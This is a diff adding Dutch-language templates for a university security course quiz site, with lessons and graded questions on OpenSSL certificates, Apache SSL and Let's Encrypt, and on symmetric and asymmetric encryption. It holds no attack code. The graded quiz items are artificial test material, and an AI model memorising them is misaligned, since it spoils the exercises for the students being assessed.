@ -0,0 +1 @@ |
||||
.DS_Store |
@ -0,0 +1,23 @@ |
||||
{% extends "base.html" %} |
||||
|
||||
{% block content %} |
||||
|
||||
<h1>Bonus</h1> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Geef een beveiligingsprobleem aan met deze website (<a href="https://github.com/Avans/Security-Quiz">source</a>)</span> |
||||
<div class="points"><span class="question-points">0</span> punten (je naam vereeuwigd op deze website als hacker)</div> |
||||
<textarea class="question-input" name="answer_bonus_fix_this_site">{{answers.answer_bonus_fix_this_site.string}}</textarea> |
||||
</div> |
||||
|
||||
<div class="alert alert-warning">Het daadwerkelijk uitvoeren van dergelijke hacks voor eigen gewin of verstoren van de functionaliteit van de website is <strong>niet toegestaan</strong>!</div> |
||||
|
||||
<h2>Extra opgave</h2> |
||||
|
||||
<p>Deze opgave leveren geen punten om, maar zijn wel leuk om te maken als je voor de rest alles al af hebt</p> |
||||
|
||||
<ul> |
||||
<li><a href="/path">Insecure direct object references</a></li> |
||||
</ul> |
||||
|
||||
{% endblock %} |
@ -0,0 +1,217 @@ |
||||
{% extends "base.html" %} |
||||
|
||||
{% block content %} |
||||
|
||||
<h1>Certificaten</h1> |
||||
|
||||
<p>Deze week gaan we aan de slag met certificaten. De tool die we daarvoor gaan gebruiken is OpenSSL. |
||||
Dit is een veelgebruikt programma waar je vele cryptografische dingen mee kunt doen.</p> |
||||
|
||||
<p>Op Linux en Mac OS X is deze tool al geïnstalleerd, Windows gebruikers moeten deze nog installeren. Als je <a href="http://google.nl/?q=openssl+windows+install" target="_blank">zoekt op het internet</a> vindt je verschillende mogelijkheden om dat te doen. Bijvoorbeeld de v.1.1.0f Light versie op <a href="http://slproweb.com/products/Win32OpenSSL.html" target="_blank">deze website</a>. Let op dat je dan op de Windows command line het hele pad moet gebruiken in plaats van alleen 'openssl'. Bijvoorbeeld: <span class="argument">C:\OpenSSL-Win32\bin\openssl.exe</span></p> |
||||
|
||||
<p>Als je bij het gebruik van OpenSSL errors krijgt, probeer dan eerst je command prompt als Administrator te openen. En als dat ook niet werkt om het volgende commando uit te voeren:</p> |
||||
|
||||
<code class="terminal">SET OPENSSL_CONF=[pad naar bestand]\openssl.cfg</code> |
||||
|
||||
<hr> |
||||
|
||||
<blockquote>Wie ben jij? En waarom zou ik jou vertrouwen dat je bent wie je zegt dat je bent?</blockquote> |
||||
|
||||
<p>Dat zijn vragen die webbrowsers elke dag moeten beantwoorden. Een site kan wel vinden dat het www.rabobank.nl is, maar daarmee weet een browser nog niet zeker dat het ook daadwerkelijk de webserver van de Rabobank is. Misschien zit je eigenlijk te communiceren met een server ergens in Rusland van een persoon die maar al te graag je inlogcodes wil weten.</p> |
||||
|
||||
<p>Om dit probleem op te lossen zijn er certificaten bedacht en vastgelegd in de <a href="http://en.wikipedia.org/wiki/X.509">X.509</a> standaard. Certificaten zijn kleine bestandjes waarin een identiteit staat beschreven. Dit is bijvoorbeeld een certificaat van Paul Wagener:</p> |
||||
|
||||
<img src="/static/img/certificaat.png" class="center-block" style="border: 1px solid black"> |
||||
|
||||
<p>Nu wil jij natuurlijk meteen een eigen certificaat voor jezelf hebben, en dat kan! Met dit alles-in-1 commando maak je een certificaat dat helemaal van jou is:</p> |
||||
|
||||
<code class="terminal">openssl req -x509 -nodes -newkey rsa:2048 -keyout sleutel.key -out certificaat.crt</code> |
||||
|
||||
<p>Dit commando doet een paar dingen tegelijk waar we later op terugkomen. <b>Vul bij emailadres je Avans mailadres in</b>. Nadat je de gevraagde informatie hebt ingevuld staat er in het bestand certificaat.crt jouw certificaat. Met dit commando kan je je nieuwe certificaat bewonderen:</p> |
||||
|
||||
<code class="terminal">openssl x509 -text -in certificaat.crt</code> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Kopieer/plak de inhoud van certificaat.crt (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span> |
||||
{% include "points.html" with points=answers.answer_openssl_selfsigned_certificate.points max="10" %} |
||||
<textarea class="question-input" name="answer_openssl_selfsigned_certificate">{{ answers.answer_openssl_selfsigned_certificate.string }}</textarea> |
||||
</div> |
||||
|
||||
<p>Een certificaat heeft ook altijd een <em>verstrekker</em> (issuer). Dit is de persoon of bedrijf die het certificaat heeft gemaakt en daarmee garant staat dat de identiteit die op het certificaat staat ook klopt. In jouw certificaat staat dat je over jezelf hebt gezegd dat je bent wie je zegt dat je bent. Niet echt betrouwbare informatie dus... Iedereen zou precies datzelfde certificaat kunnen maken.</p> |
||||
|
||||
<p>Het wordt pas interessant en betrouwbaar als andere partijen het certificaat verstrekken en zo kunnen zeggen dat ze de gegevens van het certificaat gecontroleerd hebben. |
||||
Als jij die verstrekker vertrouwt dat hij zijn werk goed doet met de correctheid van certificaten controleren. Dan vertrouw je ook indirect de gegevens op het certificaat. |
||||
Zo hoef je maar een handjevol verstrekkers te vertrouwen om bijna alle websites op het internet te kunnen vertrouwen.</p> |
||||
|
||||
<p>Elke besturingssysteem heeft een lijst van basis verstrekkers die ze impliciet vertrouwen, deze lijst kan je bekijken en veranderen door in je geavanceerde browserinstellingen op zoek te gaan naar een knop 'Beheer certificaten' (te vinden in het Advanced -> Certificates tabblad in Firefox).</p> |
||||
|
||||
<p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoeveel basis verstrekkers vertrouwt jouw systeem? (je mag ook ongeveer een antwoord geven als het lastig tellen is)</span> |
||||
{% include "points.html" with points=answers.answer_openssl_number_of_issuers.points max="5" %} |
||||
<input class="question-input" name="answer_openssl_number_of_issuers" value="{{ answers.answer_openssl_number_of_issuers.string }}"> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk het certificaat van <a href="https://facebook.com/" target="_blank">Facebook</a>, welk bedrijf heeft dit certificaat verstrekt?</span> |
||||
{% include "points.html" with points=answers.answer_openssl_facebook_issuer.points max="5" %} |
||||
<input class="question-input" name="answer_openssl_facebook_issuer" value="{{ answers.answer_openssl_facebook_issuer.string }}"> |
||||
</div> |
||||
|
||||
<p class="hint">Hint: Het certificaat kan je in alle browsers bekijken door op het slot-ikoontje te klikken</p> |
||||
|
||||
<h2>Mag ik uw handtekening?</h2> |
||||
|
||||
<p>Zo'n certificaat wat je aan jezelf hebt verstrekt vertrouwd natuurlijk niemand. We moeten eerst iemand vinden die jouw certificaat wil ondertekenen.</p> |
||||
|
||||
<p>Er is een speciaal bestandsformaat om aan een verstrekker te vragen of hij jouw certificaat wil ondertekenen: <b>.csr</b>. Dat staat voor Certificate Signing Request. Een soort van bedelbrief die je rond kan sturen met je certificaat waar nog een verstrekker bij moet.</p> |
||||
|
||||
<p>Je kan onderstaand commando gebruiken om je eigen gemaakte certificaat als basis te gebruiken voor zo'n Certificate Signing Request:</p> |
||||
|
||||
<code class="terminal">openssl x509 -x509toreq -in certificaat.crt -signkey sleutel.key -out certificaat_verzoek.csr</code> |
||||
|
||||
<p>Zo'n verzoekje kan je vervolgens bij een certificaat autoriteit zoals Thawte of VeriSign inleveren. Voor een paar honderd euro zijn ze dan bereid om hun handtekening eronder te zetten.</p> |
||||
|
||||
<p>Om deze les relatief goedkoop te houden heeft deze site ook een certificaat autoriteit waar je certificaten kan laten ondertekenen: <a href="/sign" target="signen">Certificaat Autoriteit</a>. Gebruik deze site om jouw certificaat te laten ondertekenen</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk het certificaat wat je hebt teruggekregen. Welke persoon heeft dit certificaat aan jou verstrekt?</span> |
||||
{% include "points.html" with points=answers.answer_openssl_site_issuer.points max="5" %} |
||||
<input class="question-input" name="answer_openssl_site_issuer" value="{{ answers.answer_openssl_site_issuer.string }}"> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Plak jouw ondertekende certificaat in onderstaand tekstveld (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span> |
||||
{% include "points.html" with points=answers.answer_openssl_signed_cert.points max="10" %} |
||||
<textarea class="question-input" name="answer_openssl_signed_cert">{{ answers.answer_openssl_signed_cert.string }}</textarea> |
||||
</div> |
||||
|
||||
<h2>Zelf verstrekken</h2> |
||||
|
||||
<blockquote>Sometimes, the only one you can trust is yourself.</blockquote> |
||||
|
||||
<p>Om zelf verstrekker te spelen heb je helemaal geen speciale certificaten nodig. Je kan namelijk gewoon je eigen certificaat en sleutel gebruiken die je aan het begin van de les hebt gemaakt. Vraag een medestudent om een Certificate Signing Request van zijn certificaat te geven en onderteken dat met je eigen certificaat. Zoek op internet het commando op waarmee je dat kan doen.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Plak de inhoud van het certificaat van een medestudent, waar je zelf verstrekker van bent. (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span> |
||||
{% include "points.html" with points=answers.answer_openssl_sign_other.points max="10" %} |
||||
<textarea class="question-input" name="answer_openssl_sign_other">{{ answers.answer_openssl_sign_other.string }}</textarea> |
||||
</div> |
||||
|
||||
<p>Tip: zorg ervoor dat jouw certificaat standaard wordt geinstalleerd op alle besturingsystemen. Dan kan je goud geld verdienen met het ondertekenen van andere certificaten ;)</p> |
||||
|
||||
<h2>Websites beveiligen</h2> |
||||
|
||||
<p>Leuk die certificaten, maar laten we niet vergeten dat we er ook nog wat nuttigs mee kunnen doen. Namelijk onze internetverbindingen beveiligen. Om hiermee te oefenen moet je <a href="/static/vm.zip">deze virtual machine</a> downloaden. Het wachtwoord van deze VM is <b><i>sec2</i></b>. We hebben een aantal dingen gewijzigd hierin:</p> |
||||
|
||||
<ul> |
||||
<li>Er is een default Apache installatie aanwezig.</li> |
||||
<li>www.security2.nl en sec1.aii.avans.nl wijzen naar de geïnstalleerde Apache op localhost.</li> |
||||
<li>We hebben <a href="/sign" target="signen">deze verstrekker</a> en het Let's Encrypt test certificaat als vertrouwd toegevoegd aan het systeem (dit kan je terugvinden als je in je browser gaat kijken naar alle certificaten die zijn geïnstalleerd)</li> |
||||
</ul> |
||||
|
||||
<p>Controleer eerst of de site http://www.security2.nl in jouw VM te bereiken is, en via http<b>s</b>://www.security2.nl/ nog niet te bereiken is. Je gaat de site in de volgende opgaven beveiligen met SSL, om dat te doen moeten we eerst SSL aanzetten in Apache met de volgende commando's:</p> |
||||
|
||||
<code class="terminal">sudo a2enmod ssl<br> |
||||
sudo a2ensite default-ssl<br> |
||||
sudo service apache2 reload</code> |
||||
|
||||
<p class="hint">Hint: Commando's vul je in in het programma 'Terminal'</p> |
||||
|
||||
<p>De site is nu ook via https:// bereikbaar, maar Apache heeft een ongeldig dummy certificaat gebruikt om de site te beveiligen. Om het werkend te krijgen moeten we eerst de volgende stappen uitvoeren:</p> |
||||
|
||||
<ol> |
||||
<li>Maak een geheel nieuwe certificaat/sleutel combo aan met het commando bovenaan de pagina. Je mag alles invullen zoals je wil, behalve de Common Name / Server FQDN. Die moet <code>www.security2.nl</code> zijn.</li> |
||||
<li>Laat het certificaat <a href="/sign" target="signen">hier</a> weer ondertekenen</li> |
||||
<li>Kopieer het sleutel bestand en het ondertekende certificaat naar de VM</li> |
||||
<li>Voer het volgende commando uit: <code class="terminal">sudo gedit /etc/apache2/sites-available/default-ssl.conf</code> om de standaard SSL configuratie aan te passen.</li> |
||||
<li>Verander in dit bestand de <code>SSLCertificateFile</code> en <code>SSLCertificateKeyFile</code> zodat ze naar jouw certificaat en sleutel bestand wijzen</li> |
||||
<li>Maak je wijzigingen actief door de configuratie opnieuw in te laden: <code class="terminal">sudo service apache2 reload</code></li> |
||||
</ol> |
||||
|
||||
<p>Als je alles goed hebt gedaan is de site nu met SSL beveiligd! Controleer of je de site in de VM nu kan bereiken via https://www.security2.nl/ (Alleen Chrome werkt, certificaat is niet aan Firefox toegevoegd). Als je een groen slotje krijgt mag je de volgende vraag beantwoorden:</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Plak de inhoud van het .crt bestand dat je hebt gebruikt om de website te beveiligen met een groen slotje. (inclusief begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span> |
||||
{% include "points.html" with points=answers.answer_openssl_ssl_cert.points max="10" %} |
||||
<textarea class="question-input" name="answer_openssl_ssl_cert">{{ answers.answer_openssl_ssl_cert.string }}</textarea> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat en upload die naar <a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span> |
||||
{% include "points.html" with points=answers.answer_openssl_screenshot.points max="10" %} |
||||
<input class="question-input" name="answer_openssl_screenshot" type="url" value="{{ answers.answer_openssl_screenshot.string }}"> |
||||
</div> |
||||
|
||||
<img src="/static/img/slotje_certificaat_vm.png" class="center-block screenshot" style="width: 60%" > |
||||
|
||||
<h2>Let's Encrypt</h2> |
||||
|
||||
<img src="/static/img/letsencrypt_logo.png" class="center-block"> |
||||
|
||||
<p><b><i>Let op, deze opdracht is dit jaar 0 punten waard omdat Avans een beveiliging heeft toegevoegd zodat het niet meer mogelijk is subdomeinen van avans.nl met Let's Encrypt te beveiligen.</i></b></p> |
||||
|
||||
<p>Sinds 2015 is er <a href="https://letsencrypt.org/">een nieuwe speler</a> op de markt die gratis certificaten verstrekt, mits je kan bewijzen dat jouw website van jouw is natuurlijk. Dit gaat met behulp van de command-line <code>letsencrypt</code> tool die automatisch certificaten maakt en ondertekend voor jouw website. Deze tool hebben we al voor je geinstalleerd in de VM.</p> |
||||
|
||||
<p>We gaan nu sec1.aii.avans.nl beveiligen, niet deze website die je nu aan het bekijken bent, maar weer de localhost die in de VM draait. Maar nu gaan we hem met behulp van Let's Encrypt beveiligen.</p> |
||||
|
||||
<p><i>Tip:</i>Je mag voor deze opdracht ook een eigen domein dat je hebt beveiligen! Let even op dat de commando's dan niet overal exact hetzelfde zijn. Zeker als je geen Apache gebruikt.</p> |
||||
|
||||
<p>Controleer eerst dat <b>https</b>://sec1.aii.avans.nl/ in de VM een fout geeft, dat komt omdat het certificaat van de vorige opdracht nog steeds van www.security2.nl is (als je de vorige opdracht goed hebt gedaan, anders krijg je misschien een andere fout). De browser ziet dat dat niet hetzelfde domein is en geeft terecht een error.</p> |
||||
|
||||
<p>We gaan beginnen met het aanvragen van een certificaat. Dit doen we met het volgende commando: |
||||
|
||||
<code class="terminal">sudo letsencrypt certonly --manual --staging</code> |
||||
|
||||
<p>Even een korte uitleg van dit commando:</p> |
||||
|
||||
<ul> |
||||
<li><b>sudo</b>: letsencrypt heeft root rechten nodig, we moeten letsencrypt dus altijd met root rechten uitvoeren</li> |
||||
<li><b>letsencrypt</b>: de naam van het scriptje zelf. Als je dit op je eigen server wil doen moet je deze eerst installeren (instructies vind je op de <a href="https://letsencrypt.org/getting-started/">Let's Encrypt website</a> zelf). Afhankelijk van hoe letsencrypt is geinstalleerd kan het commando ook <code>letsencrypt-auto</code>, <code>certbot</code> of <code>certbot-auto</code> zijn.</li> |
||||
<li><b>certonly</b>: Standaard wil Let's Encrypt volledig automatisch Apache voor je herconfigureren, maar dat gaat bij ons niet werken omdat de VM niet <i>echt</i> sec1.aii.avans.nl is. Met de certonly optie geven we aan dat we alleen geinteresseerd zijn in het maken van nieuwe certificaten.</li> |
||||
<li><b>--manual</b>: De Let's Encrypt servers geven niet zomaar certificaten weg, ze willen altijd zeker weten dat het domein waar je een certificaat van aanvraagt ook echt van jou is. Er zijn verschillende manieren om dat te doen, maar ze komen er allemaal op neer dat je een specifiek bestandje moet hosten op je website. Met de manual optie moeten we onze webserver zelf goed configureren dat het bestandje te bereiken is via het domein. De andere opties (<code>--webroot</code>, <code>--apache</code>) proberen het bestandje automatisch te plaatsen en de webserver te configureren. Dat gaat voor deze opdracht niet werken omdat de echte sec1.aii.avans.nl veilig ergens draait en van buiten niet te configureren is.</li> |
||||
<li><b>--staging</b>: Deze optie zorgt ervoor dat je een certificaat krijgt van de test server in plaats van de echte server. Deze hebben we nodig omdat de echte server een limiet heeft van 5 certificaataanvragen per week per domein. En dat is voor dit vak niet handig. Nadeel van de testserver is dat de certificaten een ongeldige fake verstrekker hebben (in de VM hebben we die fake verstrekker toegevoegd als vertrouwd, zodat je alsnog een groen slotje krijgt.)</li> |
||||
</ul> |
||||
|
||||
<p>Als je dit commando voor de eerste keer uitvoert wordt er gevraagd naar je e-mailadres, daar kan je invullen wat je wil. Voor het domein gaan we sec1.aii.avans.nl invullen. Als je je eigen domein wil beveiligen vul je hier uiteraard je eigen domein in.</p> |
||||
|
||||
<img src="/static/img/letsencrypt_domain.png" class="center-block screenshot" style="width: 80%" > |
||||
|
||||
<p>Let's Encrypt vraagt daarna om een bestandje op de server te zetten in een hele specifieke map (.well-known/acme-challenge) op de echte sec1.aii.avans.nl server. Normaliter zou dit een probleem zijn, want dat kan alleen als je toegang hebt tot de server. Maar speciaal voor jullie is er <a href="/letsencrypt">een pagina</a> waar je de code kan kopieren en er voor zorgen dat het bestandje 10 minuten lang op onze server wordt gehost!</p> |
||||
|
||||
<img src="/static/img/letsencrypt_challenge.png" class="center-block screenshot" style="width: 80%" > |
||||
|
||||
<p>Nadat de challenge is geslaagd zal Let's Encrypt nog een melding geven over dat de self-verification failed (in de VM wijst sec1.aii.avans.nl immers naar de localhost, en niet naar het bestandje op de echte server). Maar dat kan je negeren, als het goed is gegaan staan de certificaten nu in de map <code>/etc/letsencrypt/live/sec1.aii.avans.nl</code>!. |
||||
|
||||
<img src="/static/img/letsencrypt_congrats.png" class="center-block screenshot" style="width: 80%" > |
||||
|
||||
<p>Met dit commando kan je je nieuwe certificaat bekijken:</p> |
||||
|
||||
<code class="terminal">sudo gedit /etc/letsencrypt/live/sec1.aii.avans.nl/fullchain.pem</code> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Plak de inhoud van het <code>fullchain.pem</code> certificaat voor sec1.aii.avans.nl. (inclusief alle begin en einde <code>-----BEGIN CERTIFICATE-----</code>)</span> |
||||
{% include "points.html" with points=answers.answer_openssl_letsencrypt_fullchain.points max="0" %} |
||||
<textarea class="question-input" name="answer_openssl_letsencrypt_fullchain">{{ answers.answer_openssl_letsencrypt_fullchain.string }}</textarea> |
||||
</div> |
||||
|
||||
<p>Stel het default-ssl.conf configuratie bestand van Apache nu zo in dat het de certificaten van Let's Encrypt gebruikt:</p> |
||||
|
||||
<img src="/static/img/letsencrypt_conf.png" class="center-block screenshot" > |
||||
|
||||
<p>Sla het bestand op, reload Apache en als het goed is heb je nu een beveiligde https://sec1.aii.avans.nl/, helemaal gratis en voor niets!</p> |
||||
|
||||
<img src="/static/img/letsencrypt_chrome.png" class="center-block screenshot" style="width: 90%" > |
||||
|
||||
<p>Het zal je misschien opvallen dat de verstrekker Fake is, dat komt omdat we de <code>--staging</code> optie hebben gebruikt. In de VM is deze toegevoegd als iets dat we kunnen vertrouwen (en dus een groen slotje oplevert), maar in de echte wereld is dat niet zo. Zorg er dus bij je eigen website zo dat je niet de --staging optie gebruikt als je voor de echie certificaten aan het maken bent</p> |
||||
|
||||
|
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Maak een screenshot van het groene slotje en de details van het certificaat (zoals hierboven, maar natuurlijk niet letterlijk dat plaatje, dat hebben we door) en upload die naar <a href="http://imgur.com" target="_blank">imgur</a>. Plak de URL naar die screenshot als antwoord.</span> |
||||
{% include "points.html" with points=answers.answer_openssl_letsencrypt_screenshot.points max="0" %} |
||||
<input class="question-input" name="answer_openssl_letsencrypt_screenshot" type="url" value="{{ answers.answer_openssl_letsencrypt_screenshot.string }}"> |
||||
</div> |
||||
|
||||
{% endblock %} |
@ -0,0 +1,222 @@ |
||||
{% extends "base.html" %} |
||||
|
||||
{% block content %} |
||||
|
||||
<h1>Encryptie & Signen</h1> |
||||
|
||||
<p>Deze week gaan we nog een laagje dieper en kijken naar (a)symmetrische encryptie, sleutels, signen en PGP.</p> |
||||
|
||||
<h2>Symmetrische encryptie</h2> |
||||
|
||||
<p>Dat encryptie betekent dat je bestandjes of tekst versleuteld wist je waarschijnlijk al, maar wist je ook dat er twee soorten encryptie zijn? Symmetrische en assymetrische encryptie zijn verschillende technieken die je beide in tandem kan gebruiken om je bestanden, berichten en verbindingen te beveiligen.</p> |
||||
|
||||
<p>Stel, Alice wil een geheim bericht versturen naar Bob. Alice kan het bericht geheim maken door het door een encryptiealgoritme te halen. Dit neemt het bericht van Alice en een geheime sleutel als input. De sleutel is in dit geval een random string die alleen Alice weet. Het algoritme encrypt het bericht naar een gecodeerde versie. Zonder de sleutel te hebben is het onmogelijk om terug te rekenen wat het originele bericht was. Alice stuurt met een gerust hart dit gecodeerde bericht via internet delen, zonder bang te zijn dat iemand het kan lezen.</p> |
||||
|
||||
<img src="static/img/sym_encryptie.png"> |
||||
|
||||
<p>Alice wil het bericht aan Bob sturen, om ervoor te zorgen dat Bob het bericht kan ontcijferen heeft Alice hem de geheime sleutel van tevoren gegeven. Bob kan het gecodeerde bericht samen met <b>dezelfde</b> geheime sleutel die Alice heeft gebruikt door het bijbehorende decryptie algoritme halen om de originele data weer terug te krijgen.</p> |
||||
|
||||
<p>Bob kan op dezelfde manier ook berichten naar Alice sturen die Alice weer kan ontcijferen. Zolang de sleutel geheim blijft kunnen Alice en Bob veilig met elkaar communiceren.</p> |
||||
|
||||
<img src="static/img/sym_decryptie.png"> |
||||
|
||||
<p>We kunnen met OpenSSL (zie vorige week als je dat nog niet hebt geinstalleerd) ook encrypten en decrypten met verschillende soorten encryptie algoritmes. Met onderstaande commando kunnen we bijvoorbeeld een bestand ontsleutelen.</p> |
||||
|
||||
<code class="terminal">openssl enc -aes-256-cbc -base64 -d -in geheim.aes256 -out nietmeergeheim.txt</code> |
||||
|
||||
<p>Een hele mond vol, laten we eens kijken wat alle argumenten betekenen:</p> |
||||
|
||||
<ul> |
||||
<li><span class="argument">openssl</span> Het programma zelf</li> |
||||
<li><span class="argument">enc</span> Een command van OpenSSL waarmee we aangeven dat we data willen versleutelen of ontsleutelen</li> |
||||
<li><span class="argument">-aes-256-cbc</span> Het encryptie algoritme wat we gebruiken. |
||||
<ul> |
||||
<li><b>aes</b> staat voor <a href="http://en.wikipedia.org/wiki/Advanced_Encryption_Standard" target="_blank">Advanced Encryption Standard</a>, een veel gebruikt algoritme.</li> |
||||
<li><b>256</b> is het aantal bits van de sleutel. OpenSSL vult je wachtwoord aan tot deze hoeveelheid bits.</li> |
||||
<li><b>cbc</b> staat voor <a href="https://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29." target="_blank">Cipher-block chaining</a>. Een techniek om het lastiger te maken informatie af te leiden uit de versleutelde data.</li> |
||||
</ul> |
||||
</li> |
||||
<li><span class="argument">-base64</span> lees en schrijf de versleutelde data als <a href="http://en.wikipedia.org/wiki/Base64" target="_blank">base64</a>. Dit maakt bestandjes groter, maar de data ook makkelijker te knippen/plakken in mailtjes of invoervelden op websites.</li> |
||||
<li><span class="argument">-d</span> decryptie modus. Met dit argument geef je aan dat de invoer de versleutelde data is en de uitvoer de oorspronkelijke data moet zijn. |
||||
Als je deze optie niet mee geeft zit je in encryptie modus, de invoer is dan de oorspronkelijke data en de uitvoer wordt dan de versleutelde data</li> |
||||
<li><span class="argument">-in geheim.txt</span> het invoerbestand</li> |
||||
<li><span class="argument">-out decrypted.txt</span> het uitvoerbestand</li> |
||||
</ul> |
||||
|
||||
<img src="/static/img/encryptie.jpg" class="center-block" style="margin-top: 1em; margin-bottom: 1em"> |
||||
|
||||
<p>Een systeembeheerder heeft een geheim staan in dit <a href="/static/geheim.aes256" target="_blank">bestandje</a> wat hij met aes-256-cbc heeft versleuteld. Helaas voor hem heeft hij een niet zo hele sterke sleutel gekozen: <code>Ab12345</code>. Gebruik OpenSSL om dit bestandje te ontsleutelen.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is de geheime code die in dit versleutelde bestandje staat?</span> |
||||
{% include "points.html" with points=answers.answer_encryption_decrypt.points max="10" %} |
||||
<input class="question-input" name="answer_encryption_decrypt" value="{{ answers.answer_encryption_decrypt.string }}"></input> |
||||
</div> |
||||
|
||||
<p class="hint">Hint: Als je een bad decrypt error krijgt heb je waarschijnlijk een OpenSSL versie die lager is dan 1.1.0. In dat geval moet je de optie `-md sha256` toevoegen.</code></p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Versleutel de tekst "<em>Avans Hogeschool</em>" met het aes-256-cbc algoritme in base64 mode. Plak de versleutelde tekst in het tekstveld, gebruik <code>Ab12345</code> als wachtwoord.</span> |
||||
{% include "points.html" with points=answers.answer_encryption_encrypt.points max="10" %} |
||||
<textarea class="question-input" name="answer_encryption_encrypt">{{ answers.answer_encryption_encrypt.string }}</textarea> |
||||
</div> |
||||
|
||||
<p class="hint">Hint: Je kan dit commando gebruiken: <code class="terminal">openssl enc -aes-256-cbc -base64 -in avans.txt -out avansgeheim.aes256.txt</code></p> |
||||
|
||||
<h2>Asymmetrische encryptie</h2> |
||||
|
||||
<p>Bij symmetrische encryptie gebruiken Alice en Bob allebei dezelfde sleutel om het bestand te versleutelen en te ontsleutelen. Maar hun communicatie is alleen veilig als ze de sleutel in het geheim afspreken en zolang ze de sleutel geheim houden. Dit probleem is opgelost bij asymmetrische encryptie algoritmes, waarbij je twee sleutels gebruikt. Eén publieke en één privé sleutel.</p> |
||||
|
||||
<p>Bij een asymmetrisch encryptiealgoritme kan je niet zelf een random sleutel kiezen, deze moet je genereren met een speciaal key-generation algoritme. Deze geeft random twee sleutels terug die een opmerkelijke relatie met elkaar hebben. Om ze uit elkaar te halen noemen we ze hier de groene en de rode sleutel, maar het maakt in de praktijk niet uit welke sleutel welke is.</p> |
||||
|
||||
<img src="static/img/sleutels_genereren.png"> |
||||
|
||||
<p>Om een bestandje te versleutelen nemen we bijvoorbeeld de groene sleutel en gebruiken we die om het bestandje te versleutelen. Maar we kunnen het bestand nu niet meer ontsleutelen met de groene sleutel. <b>Met alleen de bijbehorende rode sleutel kan je nu het bestand ontsleutelen</b>. Andersom werkt ook, bestanden die je met de rode sleutel versleuteld, zijn enkel en alleen met de groene sleutel te ontsleutelen.</p> |
||||
|
||||
<img src="static/img/asym_encryptie.png"> |
||||
|
||||
<p>Dit lijkt allemaal wat omslachtig en onhandig, en asymmetrische encryptie is ook nog eens honderden keren langzamer dan symmetrische encryptie. Waarom zouden we dit gebruiken?</p> |
||||
|
||||
<p>Asymmetrische encryptie vormt de basis van het public-private key systeem. Nadat we een sleutel-paartje hebben gegenereerd geven we één sleutel weg aan alles en iedereen, dat is de publieke sleutel die iedereen kan gebruiken. De andere bijbehorende sleutel bewaren we op de geheimste plek die je maar kan bedenken en geef je onder geen enkele omstandigheid aan iemand anders.</p> |
||||
|
||||
<img src="static/img/publicprivatekey.png"> |
||||
|
||||
<p>Als Alice nu een geheim bericht aan Bob wil versturen kan ze dit versleutelen door gebruik te maken van Bob's publieke sleutel. Het versleutelde bericht is enkel en alleen te ontsleutelen met Bob's bijbehorende private sleutel. Alice weet dus zeker dat alleen Bob het kan lezen.</p> |
||||
|
||||
<img src="static/img/asym_alicebob.png"> |
||||
|
||||
<p>Als Alice het bericht met haar private key zou versleutelen ontstaat er een andere interessante eigenschap: Iedereen kan het bericht ontsleutelen, dat is te doen met de bijbehorende publieke sleutel. Maar je weet dan wel zeker dat het bericht van Alice afkomstig is, want alleen zij heeft de private sleutel waarmee het bericht in de eerste plaats versleuteld is. |
||||
|
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoe kan Alice één bericht naar Bob versturen zodat de volgende dingen tegelijkertijd gelden: |
||||
<ol> |
||||
<li>Alleen Bob kan het bericht lezen</li> |
||||
<li>Bob weet zeker dat het bericht van Alice is</li> |
||||
</ol> |
||||
Leg uit in welke volgorde Alice en Bob encrypten, decrypten en versturen en met welke sleutels. Je mag er van uit gaan dat ze elkaars publieke sleutel weten en dat Bob niet de enige is met Alice's publieke sleutel. |
||||
</span> |
||||
{% include "points.html" with points=answers.answer_encryption_securesend.points max="10" %} |
||||
<textarea class="question-input" name="answer_encryption_securesend">{{ answers.answer_encryption_securesend.string }}</textarea> |
||||
</div> |
||||
|
||||
<p class="hint"><strong>Hint:</strong> het is natuurlijk mogelijk om een versleuteld bericht nog een keer te versleutelen.</p> |
||||
|
||||
<img src="static/img/whatsapp.png" class="screenshot center-block" style="width: 70%"> |
||||
|
||||
<p>WhatsApp beweert dat alle berichten end-to-end versleuteld verstuurd worden. Daarmee zou niemand de berichten kunnen lezen die via hun servers verstuurd worden, zelfs zij zelf niet. Alleen de afzender en de ontvanger kunnen de berichten lezen.</p> |
||||
|
||||
<p>Om dat te controleren kan je bij de contactinformatie van elke chat klikken op 'Encryptie', je krijgt dan een QR code en een lijst van cijfers. Als de cijfers allemaal hetzelfde zijn zou je zeker moeten weten dat berichtjes alleen door jou en de andere persoon gelezen kunnen worden.</p> |
||||
|
||||
<img src="static/img/whatsapp_qr.png" class="screenshot center-block" style="width: 50%"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Zoek op internet welke informatie er in de QR code staat. Hoe kan WhatsApp met die informatie garanderen dat alleen jullie twee de chat kan lezen?</span> |
||||
{% include "points.html" with points=answers.answer_encryption_whatsapp.points max="10" %} |
||||
<textarea class="question-input" name="answer_encryption_whatsapp">{{ answers.answer_encryption_whatsapp.string }}</textarea> |
||||
</div> |
||||
|
||||
|
||||
<h2>GPG</h2> |
||||
|
||||
